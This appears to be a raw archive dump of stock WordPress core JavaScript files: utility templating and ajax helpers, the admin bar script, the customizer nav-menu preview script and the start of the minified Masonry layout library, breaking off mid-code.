window.wp = window.wp || {}; (function ($) { // Check for the utility settings. var settings = typeof _wpUtilSettings === 'undefined' ? {} : _wpUtilSettings; /** * wp.template( id ) * * Fetch a JavaScript template for an id, and return a templating function for it. * * @param {string} id A string that corresponds to a DOM element with an id prefixed with "tmpl-". * For example, "attachment" maps to "tmpl-attachment". * @return {function} A function that lazily-compiles the template requested. */ wp.template = _.memoize(function ( id ) { var compiled, /* * Underscore's default ERB-style templates are incompatible with PHP * when asp_tags is enabled, so WordPress uses Mustache-inspired templating syntax. * * @see trac ticket #22344. */ options = { evaluate: /<#([\s\S]+?)#>/g, interpolate: /\{\{\{([\s\S]+?)\}\}\}/g, escape: /\{\{([^\}]+?)\}\}(?!\})/g, variable: 'data' }; return function ( data ) { if ( ! document.getElementById( 'tmpl-' + id ) ) { throw new Error( 'Template not found: ' + '#tmpl-' + id ); } compiled = compiled || _.template( $( '#tmpl-' + id ).html(), options ); return compiled( data ); }; }); /* * wp.ajax * ------ * * Tools for sending ajax requests with JSON responses and built in error handling. * Mirrors and wraps jQuery's ajax APIs. */ wp.ajax = { settings: settings.ajax || {}, /** * wp.ajax.post( [action], [data] ) * * Sends a POST request to WordPress. * * @param {(string|Object)} action The slug of the action to fire in WordPress or options passed * to jQuery.ajax. * @param {Object=} data Optional. The data to populate $_POST with. * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ post: function( action, data ) { return wp.ajax.send({ data: _.isObject( action ) ? action : _.extend( data || {}, { action: action }) }); }, /** * wp.ajax.send( [action], [options] ) * * Sends a POST request to WordPress. * * @param {(string|Object)} action The slug of the action to fire in WordPress or options passed * to jQuery.ajax. * @param {Object=} options Optional. The options passed to jQuery.ajax. * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ send: function( action, options ) { var promise, deferred; if ( _.isObject( action ) ) { options = action; } else { options = options || {}; options.data = _.extend( options.data || {}, { action: action }); } options = _.defaults( options || {}, { type: 'POST', url: wp.ajax.settings.url, context: this }); deferred = $.Deferred( function( deferred ) { // Transfer success/error callbacks. if ( options.success ) { deferred.done( options.success ); } if ( options.error ) { deferred.fail( options.error ); } delete options.success; delete options.error; // Use with PHP's wp_send_json_success() and wp_send_json_error(). deferred.jqXHR = $.ajax( options ).done( function( response ) { // Treat a response of 1 as successful for backward compatibility with existing handlers. if ( response === '1' || response === 1 ) { response = { success: true }; } if ( _.isObject( response ) && ! _.isUndefined( response.success ) ) { // When handling a media attachments request, get the total attachments from response headers. var context = this; deferred.done( function() { if ( action && action.data && 'query-attachments' === action.data.action && deferred.jqXHR.hasOwnProperty( 'getResponseHeader' ) && deferred.jqXHR.getResponseHeader( 'X-WP-Total' ) ) { context.totalAttachments = parseInt( deferred.jqXHR.getResponseHeader( 'X-WP-Total' ), 10 ); } else { context.totalAttachments = 0; } } ); deferred[ response.success ? 'resolveWith' : 'rejectWith' ]( this, [response.data] ); } else { deferred.rejectWith( this, [response] ); } }).fail( function() { deferred.rejectWith( this, arguments ); }); }); promise = deferred.promise(); promise.abort = function() { deferred.jqXHR.abort(); return this; }; return promise; } }; }(jQuery)); admin-bar.js 0000644 00000024463 15111757752 0006760 0 ustar 00 /** * @output wp-includes/js/admin-bar.js */ /** * Admin bar with Vanilla JS, no external dependencies. * * @since 5.3.1 * * @param {Object} document The document object. * @param {Object} window The window object. * @param {Object} navigator The navigator object. * * @return {void} */ ( function( document, window, navigator ) { document.addEventListener( 'DOMContentLoaded', function() { var adminBar = document.getElementById( 'wpadminbar' ), topMenuItems, allMenuItems, adminBarLogout, adminBarSearchForm, shortlink, skipLink, mobileEvent, adminBarSearchInput, i; if ( ! adminBar || ! ( 'querySelectorAll' in adminBar ) ) { return; } topMenuItems = adminBar.querySelectorAll( 'li.menupop' ); allMenuItems = adminBar.querySelectorAll( '.ab-item' ); adminBarLogout = document.querySelector( '#wp-admin-bar-logout a' ); adminBarSearchForm = document.getElementById( 'adminbarsearch' ); shortlink = document.getElementById( 'wp-admin-bar-get-shortlink' ); skipLink = adminBar.querySelector( '.screen-reader-shortcut' ); mobileEvent = /Mobile\/.+Safari/.test( navigator.userAgent ) ? 'touchstart' : 'click'; // Remove nojs class after the DOM is loaded. removeClass( adminBar, 'nojs' ); if ( 'ontouchstart' in window ) { // Remove hover class when the user touches outside the menu items. document.body.addEventListener( mobileEvent, function( e ) { if ( ! getClosest( e.target, 'li.menupop' ) ) { removeAllHoverClass( topMenuItems ); } } ); // Add listener for menu items to toggle hover class by touches. // Remove the callback later for better performance. adminBar.addEventListener( 'touchstart', function bindMobileEvents() { for ( var i = 0; i < topMenuItems.length; i++ ) { topMenuItems[i].addEventListener( 'click', mobileHover.bind( null, topMenuItems ) ); } adminBar.removeEventListener( 'touchstart', bindMobileEvents ); } ); } // Scroll page to top when clicking on the admin bar. adminBar.addEventListener( 'click', scrollToTop ); for ( i = 0; i < topMenuItems.length; i++ ) { // Adds or removes the hover class based on the hover intent. window.hoverintent( topMenuItems[i], addClass.bind( null, topMenuItems[i], 'hover' ), removeClass.bind( null, topMenuItems[i], 'hover' ) ).options( { timeout: 180 } ); // Toggle hover class if the enter key is pressed. topMenuItems[i].addEventListener( 'keydown', toggleHoverIfEnter ); } // Remove hover class if the escape key is pressed. for ( i = 0; i < allMenuItems.length; i++ ) { allMenuItems[i].addEventListener( 'keydown', removeHoverIfEscape ); } if ( adminBarSearchForm ) { adminBarSearchInput = document.getElementById( 'adminbar-search' ); // Adds the adminbar-focused class on focus. adminBarSearchInput.addEventListener( 'focus', function() { addClass( adminBarSearchForm, 'adminbar-focused' ); } ); // Removes the adminbar-focused class on blur. adminBarSearchInput.addEventListener( 'blur', function() { removeClass( adminBarSearchForm, 'adminbar-focused' ); } ); } if ( shortlink ) { shortlink.addEventListener( 'click', clickShortlink ); } // Prevents the toolbar from covering up content when a hash is present in the URL. if ( window.location.hash ) { window.scrollBy( 0, -32 ); } // Clear sessionStorage on logging out. if ( adminBarLogout ) { adminBarLogout.addEventListener( 'click', emptySessionStorage ); } } ); /** * Remove hover class for top level menu item when escape is pressed. * * @since 5.3.1 * * @param {Event} event The keydown event. */ function removeHoverIfEscape( event ) { var wrapper; if ( event.which !== 27 ) { return; } wrapper = getClosest( event.target, '.menupop' ); if ( ! wrapper ) { return; } wrapper.querySelector( '.menupop > .ab-item' ).focus(); removeClass( wrapper, 'hover' ); } /** * Toggle hover class for top level menu item when enter is pressed. * * @since 5.3.1 * * @param {Event} event The keydown event. */ function toggleHoverIfEnter( event ) { var wrapper; // Follow link if pressing Ctrl and/or Shift with Enter (opening in a new tab or window). if ( event.which !== 13 || event.ctrlKey || event.shiftKey ) { return; } if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) { return; } wrapper = getClosest( event.target, '.menupop' ); if ( ! wrapper ) { return; } event.preventDefault(); if ( hasClass( wrapper, 'hover' ) ) { removeClass( wrapper, 'hover' ); } else { addClass( wrapper, 'hover' ); } } /** * Toggle hover class for mobile devices. * * @since 5.3.1 * * @param {NodeList} topMenuItems All menu items. * @param {Event} event The click event. */ function mobileHover( topMenuItems, event ) { var wrapper; if ( !! getClosest( event.target, '.ab-sub-wrapper' ) ) { return; } event.preventDefault(); wrapper = getClosest( event.target, '.menupop' ); if ( ! wrapper ) { return; } if ( hasClass( wrapper, 'hover' ) ) { removeClass( wrapper, 'hover' ); } else { removeAllHoverClass( topMenuItems ); addClass( wrapper, 'hover' ); } } /** * Handles the click on the Shortlink link in the adminbar. * * @since 3.1.0 * @since 5.3.1 Use querySelector to clean up the function. * * @param {Event} event The click event. * @return {boolean} Returns false to prevent default click behavior. */ function clickShortlink( event ) { var wrapper = event.target.parentNode, input; if ( wrapper ) { input = wrapper.querySelector( '.shortlink-input' ); } if ( ! input ) { return; } // (Old) IE doesn't support preventDefault, and does support returnValue. if ( event.preventDefault ) { event.preventDefault(); } event.returnValue = false; addClass( wrapper, 'selected' ); input.focus(); input.select(); input.onblur = function() { removeClass( wrapper, 'selected' ); }; return false; } /** * Clear sessionStorage on logging out. * * @since 5.3.1 */ function emptySessionStorage() { if ( 'sessionStorage' in window ) { try { for ( var key in sessionStorage ) { if ( key.indexOf( 'wp-autosave-' ) > -1 ) { sessionStorage.removeItem( key ); } } } catch ( er ) {} } } /** * Check if element has class. * * @since 5.3.1 * * @param {HTMLElement} element The HTML element. * @param {string} className The class name. * @return {boolean} Whether the element has the className. */ function hasClass( element, className ) { var classNames; if ( ! element ) { return false; } if ( element.classList && element.classList.contains ) { return element.classList.contains( className ); } else if ( element.className ) { classNames = element.className.split( ' ' ); return classNames.indexOf( className ) > -1; } return false; } /** * Add class to an element. * * @since 5.3.1 * * @param {HTMLElement} element The HTML element. * @param {string} className The class name. */ function addClass( element, className ) { if ( ! element ) { return; } if ( element.classList && element.classList.add ) { element.classList.add( className ); } else if ( ! hasClass( element, className ) ) { if ( element.className ) { element.className += ' '; } element.className += className; } var menuItemToggle = element.querySelector( 'a' ); if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) { menuItemToggle.setAttribute( 'aria-expanded', 'true' ); } } /** * Remove class from an element. * * @since 5.3.1 * * @param {HTMLElement} element The HTML element. * @param {string} className The class name. */ function removeClass( element, className ) { var testName, classes; if ( ! element || ! hasClass( element, className ) ) { return; } if ( element.classList && element.classList.remove ) { element.classList.remove( className ); } else { testName = ' ' + className + ' '; classes = ' ' + element.className + ' '; while ( classes.indexOf( testName ) > -1 ) { classes = classes.replace( testName, '' ); } element.className = classes.replace( /^[\s]+|[\s]+$/g, '' ); } var menuItemToggle = element.querySelector( 'a' ); if ( className === 'hover' && menuItemToggle && menuItemToggle.hasAttribute( 'aria-expanded' ) ) { menuItemToggle.setAttribute( 'aria-expanded', 'false' ); } } /** * Remove hover class for all menu items. * * @since 5.3.1 * * @param {NodeList} topMenuItems All menu items. */ function removeAllHoverClass( topMenuItems ) { if ( topMenuItems && topMenuItems.length ) { for ( var i = 0; i < topMenuItems.length; i++ ) { removeClass( topMenuItems[i], 'hover' ); } } } /** * Scrolls to the top of the page. * * @since 3.4.0 * * @param {Event} event The Click event. * * @return {void} */ function scrollToTop( event ) { // Only scroll when clicking on the wpadminbar, not on menus or submenus. if ( event.target && event.target.id !== 'wpadminbar' && event.target.id !== 'wp-admin-bar-top-secondary' ) { return; } try { window.scrollTo( { top: -32, left: 0, behavior: 'smooth' } ); } catch ( er ) { window.scrollTo( 0, -32 ); } } /** * Get closest Element. * * @since 5.3.1 * * @param {HTMLElement} el Element to get parent. * @param {string} selector CSS selector to match. */ function getClosest( el, selector ) { if ( ! window.Element.prototype.matches ) { // Polyfill from https://developer.mozilla.org/en-US/docs/Web/API/Element/matches. window.Element.prototype.matches = window.Element.prototype.matchesSelector || window.Element.prototype.mozMatchesSelector || window.Element.prototype.msMatchesSelector || window.Element.prototype.oMatchesSelector || window.Element.prototype.webkitMatchesSelector || function( s ) { var matches = ( this.document || this.ownerDocument ).querySelectorAll( s ), i = matches.length; while ( --i >= 0 && matches.item( i ) !== this ) { } return i > -1; }; } // Get the closest matching elent. for ( ; el && el !== document; el = el.parentNode ) { if ( el.matches( selector ) ) { return el; } } return null; } } )( document, window, navigator ); customize-preview-nav-menus.js 0000644 00000035260 15111757752 0012533 0 ustar 00 /** * @output wp-includes/js/customize-preview-nav-menus.js */ /* global _wpCustomizePreviewNavMenusExports */ /** @namespace wp.customize.navMenusPreview */ wp.customize.navMenusPreview = wp.customize.MenusCustomizerPreview = ( function( $, _, wp, api ) { 'use strict'; var self = { data: { navMenuInstanceArgs: {} } }; if ( 'undefined' !== typeof _wpCustomizePreviewNavMenusExports ) { _.extend( self.data, _wpCustomizePreviewNavMenusExports ); } /** * Initialize nav menus preview. */ self.init = function() { var self = this, synced = false; /* * Keep track of whether we synced to determine whether or not bindSettingListener * should also initially fire the listener. This initial firing needs to wait until * after all of the settings have been synced from the pane in order to prevent * an infinite selective fallback-refresh. Note that this sync handler will be * added after the sync handler in customize-preview.js, so it will be triggered * after all of the settings are added. */ api.preview.bind( 'sync', function() { synced = true; } ); if ( api.selectiveRefresh ) { // Listen for changes to settings related to nav menus. api.each( function( setting ) { self.bindSettingListener( setting ); } ); api.bind( 'add', function( setting ) { /* * Handle case where an invalid nav menu item (one for which its associated object has been deleted) * is synced from the controls into the preview. Since invalid nav menu items are filtered out from * being exported to the frontend by the _is_valid_nav_menu_item filter in wp_get_nav_menu_items(), * the customizer controls will have a nav_menu_item setting where the preview will have none, and * this can trigger an infinite fallback refresh when the nav menu item lacks any valid items. */ if ( setting.get() && ! setting.get()._invalid ) { self.bindSettingListener( setting, { fire: synced } ); } } ); api.bind( 'remove', function( setting ) { self.unbindSettingListener( setting ); } ); /* * Ensure that wp_nav_menu() instances nested inside of other partials * will be recognized as being present on the page. */ api.selectiveRefresh.bind( 'render-partials-response', function( response ) { if ( response.nav_menu_instance_args ) { _.extend( self.data.navMenuInstanceArgs, response.nav_menu_instance_args ); } } ); } api.preview.bind( 'active', function() { self.highlightControls(); } ); }; if ( api.selectiveRefresh ) { /** * Partial representing an invocation of wp_nav_menu(). * * @memberOf wp.customize.navMenusPreview * @alias wp.customize.navMenusPreview.NavMenuInstancePartial * * @class * @augments wp.customize.selectiveRefresh.Partial * @since 4.5.0 */ self.NavMenuInstancePartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.navMenusPreview.NavMenuInstancePartial.prototype */{ /** * Constructor. * * @since 4.5.0 * @param {string} id - Partial ID. * @param {Object} options * @param {Object} options.params * @param {Object} options.params.navMenuArgs * @param {string} options.params.navMenuArgs.args_hmac * @param {string} [options.params.navMenuArgs.theme_location] * @param {number} [options.params.navMenuArgs.menu] * @param {Object} [options.constructingContainerContext] */ initialize: function( id, options ) { var partial = this, matches, argsHmac; matches = id.match( /^nav_menu_instance\[([0-9a-f]{32})]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for nav_menu_instance partial. The key corresponds with the args HMAC.' ); } argsHmac = matches[1]; options = options || {}; options.params = _.extend( { selector: '[data-customize-partial-id="' + id + '"]', navMenuArgs: options.constructingContainerContext || {}, containerInclusive: true }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); if ( ! _.isObject( partial.params.navMenuArgs ) ) { throw new Error( 'Missing navMenuArgs' ); } if ( partial.params.navMenuArgs.args_hmac !== argsHmac ) { throw new Error( 'args_hmac mismatch with id' ); } }, /** * Return whether the setting is related to this partial. * * @since 4.5.0 * @param {wp.customize.Value|string} setting - Object or ID. * @param {number|Object|false|null} newValue - New value, or null if the setting was just removed. * @param {number|Object|false|null} oldValue - Old value, or null if the setting was just added. * @return {boolean} */ isRelatedSetting: function( setting, newValue, oldValue ) { var partial = this, navMenuLocationSetting, navMenuId, isNavMenuItemSetting, _newValue, _oldValue, urlParser; if ( _.isString( setting ) ) { setting = api( setting ); } /* * Prevent nav_menu_item changes only containing type_label differences triggering a refresh. * These settings in the preview do not include type_label property, and so if one of these * nav_menu_item settings is dirty, after a refresh the nav menu instance would do a selective * refresh immediately because the setting from the pane would have the type_label whereas * the setting in the preview would not, thus triggering a change event. The following * condition short-circuits this unnecessary selective refresh and also prevents an infinite * loop in the case where a nav_menu_instance partial had done a fallback refresh. * @todo Nav menu item settings should not include a type_label property to begin with. */ isNavMenuItemSetting = /^nav_menu_item\[/.test( setting.id ); if ( isNavMenuItemSetting && _.isObject( newValue ) && _.isObject( oldValue ) ) { _newValue = _.clone( newValue ); _oldValue = _.clone( oldValue ); delete _newValue.type_label; delete _oldValue.type_label; // Normalize URL scheme when parent frame is HTTPS to prevent selective refresh upon initial page load. if ( 'https' === api.preview.scheme.get() ) { urlParser = document.createElement( 'a' ); urlParser.href = _newValue.url; urlParser.protocol = 'https:'; _newValue.url = urlParser.href; urlParser.href = _oldValue.url; urlParser.protocol = 'https:'; _oldValue.url = urlParser.href; } // Prevent original_title differences from causing refreshes if title is present. if ( newValue.title ) { delete _oldValue.original_title; delete _newValue.original_title; } if ( _.isEqual( _oldValue, _newValue ) ) { return false; } } if ( partial.params.navMenuArgs.theme_location ) { if ( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' === setting.id ) { return true; } navMenuLocationSetting = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ); } navMenuId = partial.params.navMenuArgs.menu; if ( ! navMenuId && navMenuLocationSetting ) { navMenuId = navMenuLocationSetting(); } if ( ! navMenuId ) { return false; } return ( ( 'nav_menu[' + navMenuId + ']' === setting.id ) || ( isNavMenuItemSetting && ( ( newValue && newValue.nav_menu_term_id === navMenuId ) || ( oldValue && oldValue.nav_menu_term_id === navMenuId ) ) ) ); }, /** * Make sure that partial fallback behavior is invoked if there is no associated menu. * * @since 4.5.0 * * @return {Promise} */ refresh: function() { var partial = this, menuId, deferred = $.Deferred(); // Make sure the fallback behavior is invoked when the partial is no longer associated with a menu. if ( _.isNumber( partial.params.navMenuArgs.menu ) ) { menuId = partial.params.navMenuArgs.menu; } else if ( partial.params.navMenuArgs.theme_location && api.has( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ) ) { menuId = api( 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']' ).get(); } if ( ! menuId ) { partial.fallback(); deferred.reject(); return deferred.promise(); } return api.selectiveRefresh.Partial.prototype.refresh.call( partial ); }, /** * Render content. * * @inheritdoc * @param {wp.customize.selectiveRefresh.Placement} placement */ renderContent: function( placement ) { var partial = this, previousContainer = placement.container; // Do fallback behavior to refresh preview if menu is now empty. if ( '' === placement.addedContent ) { placement.partial.fallback(); } if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) { // Trigger deprecated event. $( document ).trigger( 'customize-preview-menu-refreshed', [ { instanceNumber: null, // @deprecated wpNavArgs: placement.context, // @deprecated wpNavMenuArgs: placement.context, oldContainer: previousContainer, newContainer: placement.container } ] ); } } }); api.selectiveRefresh.partialConstructor.nav_menu_instance = self.NavMenuInstancePartial; /** * Request full refresh if there are nav menu instances that lack partials which also match the supplied args. * * @param {Object} navMenuInstanceArgs */ self.handleUnplacedNavMenuInstances = function( navMenuInstanceArgs ) { var unplacedNavMenuInstances; unplacedNavMenuInstances = _.filter( _.values( self.data.navMenuInstanceArgs ), function( args ) { return ! api.selectiveRefresh.partial.has( 'nav_menu_instance[' + args.args_hmac + ']' ); } ); if ( _.findWhere( unplacedNavMenuInstances, navMenuInstanceArgs ) ) { api.selectiveRefresh.requestFullRefresh(); return true; } return false; }; /** * Add change listener for a nav_menu[], nav_menu_item[], or nav_menu_locations[] setting. * * @since 4.5.0 * * @param {wp.customize.Value} setting * @param {Object} [options] * @param {boolean} options.fire Whether to invoke the callback after binding. * This is used when a dynamic setting is added. * @return {boolean} Whether the setting was bound. */ self.bindSettingListener = function( setting, options ) { var matches; options = options || {}; matches = setting.id.match( /^nav_menu\[(-?\d+)]$/ ); if ( matches ) { setting._navMenuId = parseInt( matches[1], 10 ); setting.bind( this.onChangeNavMenuSetting ); if ( options.fire ) { this.onChangeNavMenuSetting.call( setting, setting(), false ); } return true; } matches = setting.id.match( /^nav_menu_item\[(-?\d+)]$/ ); if ( matches ) { setting._navMenuItemId = parseInt( matches[1], 10 ); setting.bind( this.onChangeNavMenuItemSetting ); if ( options.fire ) { this.onChangeNavMenuItemSetting.call( setting, setting(), false ); } return true; } matches = setting.id.match( /^nav_menu_locations\[(.+?)]/ ); if ( matches ) { setting._navMenuThemeLocation = matches[1]; setting.bind( this.onChangeNavMenuLocationsSetting ); if ( options.fire ) { this.onChangeNavMenuLocationsSetting.call( setting, setting(), false ); } return true; } return false; }; /** * Remove change listeners for nav_menu[], nav_menu_item[], or nav_menu_locations[] setting. * * @since 4.5.0 * * @param {wp.customize.Value} setting */ self.unbindSettingListener = function( setting ) { setting.unbind( this.onChangeNavMenuSetting ); setting.unbind( this.onChangeNavMenuItemSetting ); setting.unbind( this.onChangeNavMenuLocationsSetting ); }; /** * Handle change for nav_menu[] setting for nav menu instances lacking partials. * * @since 4.5.0 * * @this {wp.customize.Value} */ self.onChangeNavMenuSetting = function() { var setting = this; self.handleUnplacedNavMenuInstances( { menu: setting._navMenuId } ); // Ensure all nav menu instances with a theme_location assigned to this menu are handled. api.each( function( otherSetting ) { if ( ! otherSetting._navMenuThemeLocation ) { return; } if ( setting._navMenuId === otherSetting() ) { self.handleUnplacedNavMenuInstances( { theme_location: otherSetting._navMenuThemeLocation } ); } } ); }; /** * Handle change for nav_menu_item[] setting for nav menu instances lacking partials. * * @since 4.5.0 * * @param {Object} newItem New value for nav_menu_item[] setting. * @param {Object} oldItem Old value for nav_menu_item[] setting. * @this {wp.customize.Value} */ self.onChangeNavMenuItemSetting = function( newItem, oldItem ) { var item = newItem || oldItem, navMenuSetting; navMenuSetting = api( 'nav_menu[' + String( item.nav_menu_term_id ) + ']' ); if ( navMenuSetting ) { self.onChangeNavMenuSetting.call( navMenuSetting ); } }; /** * Handle change for nav_menu_locations[] setting for nav menu instances lacking partials. * * @since 4.5.0 * * @this {wp.customize.Value} */ self.onChangeNavMenuLocationsSetting = function() { var setting = this, hasNavMenuInstance; self.handleUnplacedNavMenuInstances( { theme_location: setting._navMenuThemeLocation } ); // If there are no wp_nav_menu() instances that refer to the theme location, do full refresh. hasNavMenuInstance = !! _.findWhere( _.values( self.data.navMenuInstanceArgs ), { theme_location: setting._navMenuThemeLocation } ); if ( ! hasNavMenuInstance ) { api.selectiveRefresh.requestFullRefresh(); } }; } /** * Connect nav menu items with their corresponding controls in the pane. * * Setup shift-click on nav menu items which are more granular than the nav menu partial itself. * Also this applies even if a nav menu is not partial-refreshable. * * @since 4.5.0 */ self.highlightControls = function() { var selector = '.menu-item'; // Skip adding highlights if not in the customizer preview iframe. if ( ! api.settings.channel ) { return; } // Focus on the menu item control when shift+clicking the menu item. $( document ).on( 'click', selector, function( e ) { var navMenuItemParts; if ( ! e.shiftKey ) { return; } navMenuItemParts = $( this ).attr( 'class' ).match( /(?:^|\s)menu-item-(-?\d+)(?:\s|$)/ ); if ( navMenuItemParts ) { e.preventDefault(); e.stopPropagation(); // Make sure a sub-nav menu item will get focused instead of parent items. api.preview.send( 'focus-nav-menu-item-control', parseInt( navMenuItemParts[1], 10 ) ); } }); }; api.bind( 'preview-ready', function() { self.init(); } ); return self; }( jQuery, _, wp, wp.customize ) ); masonry.min.js 0000644 00000057112 15111757752 0007375 0 ustar 00 /*! This file is auto-generated */ /*! * Masonry PACKAGED v4.2.2 * Cascading grid layout library * https://masonry.desandro.com * MIT License * by David DeSandro */ !function(t,e){"function"==typeof define&&define.amd?define("jquery-bridget/jquery-bridget",["jquery"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("jquery")):t.jQueryBridget=e(t,t.jQuery)}(window,function(t,e){"use strict";function i(i,r,a){function h(t,e,n){var o,r="$()."+i+'("'+e+'")';return t.each(function(t,h){var u=a.data(h,i);if(!u)return void s(i+" not initialized. Cannot call methods, i.e. "+r);var d=u[e];if(!d||"_"==e.charAt(0))return void s(r+" is not a valid method");var l=d.apply(u,n);o=void 0===o?l:o}),void 0!==o?o:t}function u(t,e){t.each(function(t,n){var o=a.data(n,i);o?(o.option(e),o._init()):(o=new r(n,e),a.data(n,i,o))})}a=a||e||t.jQuery,a&&(r.prototype.option||(r.prototype.option=function(t){a.isPlainObject(t)&&(this.options=a.extend(!0,this.options,t))}),a.fn[i]=function(t){if("string"==typeof t){var e=o.call(arguments,1);return h(this,t,e)}return u(this,t),this},n(a))}function n(t){!t||t&&t.bridget||(t.bridget=i)}var o=Array.prototype.slice,r=t.console,s="undefined"==typeof r?function(){}:function(t){r.error(t)};return n(e||t.jQuery),i}),function(t,e){"function"==typeof define&&define.amd?define("ev-emitter/ev-emitter",e):"object"==typeof module&&module.exports?module.exports=e():t.EvEmitter=e()}("undefined"!=typeof window?window:this,function(){function t(){}var e=t.prototype;return e.on=function(t,e){if(t&&e){var i=this._events=this._events||{},n=i[t]=i[t]||[];return-1==n.indexOf(e)&&n.push(e),this}},e.once=function(t,e){if(t&&e){this.on(t,e);var i=this._onceEvents=this._onceEvents||{},n=i[t]=i[t]||{};return n[e]=!0,this}},e.off=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){var n=i.indexOf(e);return-1!=n&&i.splice(n,1),this}},e.emitEvent=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){i=i.slice(0),e=e||[];for(var n=this._onceEvents&&this._onceEvents[t],o=0;o<i.length;o++){var r=i[o],s=n&&n[r];s&&(this.off(t,r),delete n[r]),r.apply(this,e)}return this}},e.allOff=function(){delete this._events,delete this._onceEvents},t}),function(t,e){"function"==typeof define&&define.amd?define("get-size/get-size",e):"object"==typeof module&&module.exports?module.exports=e():t.getSize=e()}(window,function(){"use strict";function t(t){var e=parseFloat(t),i=-1==t.indexOf("%")&&!isNaN(e);return i&&e}function e(){}function i(){for(var t={width:0,height:0,innerWidth:0,innerHeight:0,outerWidth:0,outerHeight:0},e=0;u>e;e++){var i=h[e];t[i]=0}return t}function n(t){var e=getComputedStyle(t);return e||a("Style returned "+e+". Are you running this code in a hidden iframe on Firefox? See https://bit.ly/getsizebug1"),e}function o(){if(!d){d=!0;var e=document.createElement("div");e.style.width="200px",e.style.padding="1px 2px 3px 4px",e.style.borderStyle="solid",e.style.borderWidth="1px 2px 3px 4px",e.style.boxSizing="border-box";var i=document.body||document.documentElement;i.appendChild(e);var o=n(e);s=200==Math.round(t(o.width)),r.isBoxSizeOuter=s,i.removeChild(e)}}function r(e){if(o(),"string"==typeof e&&(e=document.querySelector(e)),e&&"object"==typeof e&&e.nodeType){var r=n(e);if("none"==r.display)return i();var a={};a.width=e.offsetWidth,a.height=e.offsetHeight;for(var d=a.isBorderBox="border-box"==r.boxSizing,l=0;u>l;l++){var c=h[l],f=r[c],m=parseFloat(f);a[c]=isNaN(m)?0:m}var p=a.paddingLeft+a.paddingRight,g=a.paddingTop+a.paddingBottom,y=a.marginLeft+a.marginRight,v=a.marginTop+a.marginBottom,_=a.borderLeftWidth+a.borderRightWidth,z=a.borderTopWidth+a.borderBottomWidth,E=d&&s,b=t(r.width);b!==!1&&(a.width=b+(E?0:p+_));var x=t(r.height);return x!==!1&&(a.height=x+(E?0:g+z)),a.innerWidth=a.width-(p+_),a.innerHeight=a.height-(g+z),a.outerWidth=a.width+y,a.outerHeight=a.height+v,a}}var s,a="undefined"==typeof console?e:function(t){console.error(t)},h=["paddingLeft","paddingRight","paddingTop","paddingBottom","marginLeft","marginRight","marginTop","marginBottom","borderLeftWidth","borderRightWidth","borderTopWidth","borderBottomWidth"],u=h.length,d=!1;return r}),function(t,e){"use strict";"function"==typeof define&&define.amd?define("desandro-matches-selector/matches-selector",e):"object"==typeof module&&module.exports?module.exports=e():t.matchesSelector=e()}(window,function(){"use strict";var t=function(){var t=window.Element.prototype;if(t.matches)return"matches";if(t.matchesSelector)return"matchesSelector";for(var e=["webkit","moz","ms","o"],i=0;i<e.length;i++){var n=e[i],o=n+"MatchesSelector";if(t[o])return o}}();return function(e,i){return e[t](i)}}),function(t,e){"function"==typeof define&&define.amd?define("fizzy-ui-utils/utils",["desandro-matches-selector/matches-selector"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("desandro-matches-selector")):t.fizzyUIUtils=e(t,t.matchesSelector)}(window,function(t,e){var i={};i.extend=function(t,e){for(var i in e)t[i]=e[i];return t},i.modulo=function(t,e){return(t%e+e)%e};var n=Array.prototype.slice;i.makeArray=function(t){if(Array.isArray(t))return t;if(null===t||void 0===t)return[];var e="object"==typeof t&&"number"==typeof t.length;return e?n.call(t):[t]},i.removeFrom=function(t,e){var i=t.indexOf(e);-1!=i&&t.splice(i,1)},i.getParent=function(t,i){for(;t.parentNode&&t!=document.body;)if(t=t.parentNode,e(t,i))return t},i.getQueryElement=function(t){return"string"==typeof t?document.querySelector(t):t},i.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},i.filterFindElements=function(t,n){t=i.makeArray(t);var o=[];return t.forEach(function(t){if(t instanceof HTMLElement){if(!n)return void o.push(t);e(t,n)&&o.push(t);for(var i=t.querySelectorAll(n),r=0;r<i.length;r++)o.push(i[r])}}),o},i.debounceMethod=function(t,e,i){i=i||100;var n=t.prototype[e],o=e+"Timeout";t.prototype[e]=function(){var t=this[o];clearTimeout(t);var e=arguments,r=this;this[o]=setTimeout(function(){n.apply(r,e),delete r[o]},i)}},i.docReady=function(t){var e=document.readyState;"complete"==e||"interactive"==e?setTimeout(t):document.addEventListener("DOMContentLoaded",t)},i.toDashed=function(t){return t.replace(/(.)([A-Z])/g,function(t,e,i){return e+"-"+i}).toLowerCase()};var o=t.console;return i.htmlInit=function(e,n){i.docReady(function(){var r=i.toDashed(n),s="data-"+r,a=document.querySelectorAll("["+s+"]"),h=document.querySelectorAll(".js-"+r),u=i.makeArray(a).concat(i.makeArray(h)),d=s+"-options",l=t.jQuery;u.forEach(function(t){var i,r=t.getAttribute(s)||t.getAttribute(d);try{i=r&&JSON.parse(r)}catch(a){return void(o&&o.error("Error parsing "+s+" on "+t.className+": "+a))}var h=new e(t,i);l&&l.data(t,n,h)})})},i}),function(t,e){"function"==typeof define&&define.amd?define("outlayer/item",["ev-emitter/ev-emitter","get-size/get-size"],e):"object"==typeof module&&module.exports?module.exports=e(require("ev-emitter"),require("get-size")):(t.Outlayer={},t.Outlayer.Item=e(t.EvEmitter,t.getSize))}(window,function(t,e){"use strict";function i(t){for(var e in t)return!1;return e=null,!0}function n(t,e){t&&(this.element=t,this.layout=e,this.position={x:0,y:0},this._create())}function o(t){return t.replace(/([A-Z])/g,function(t){return"-"+t.toLowerCase()})}var 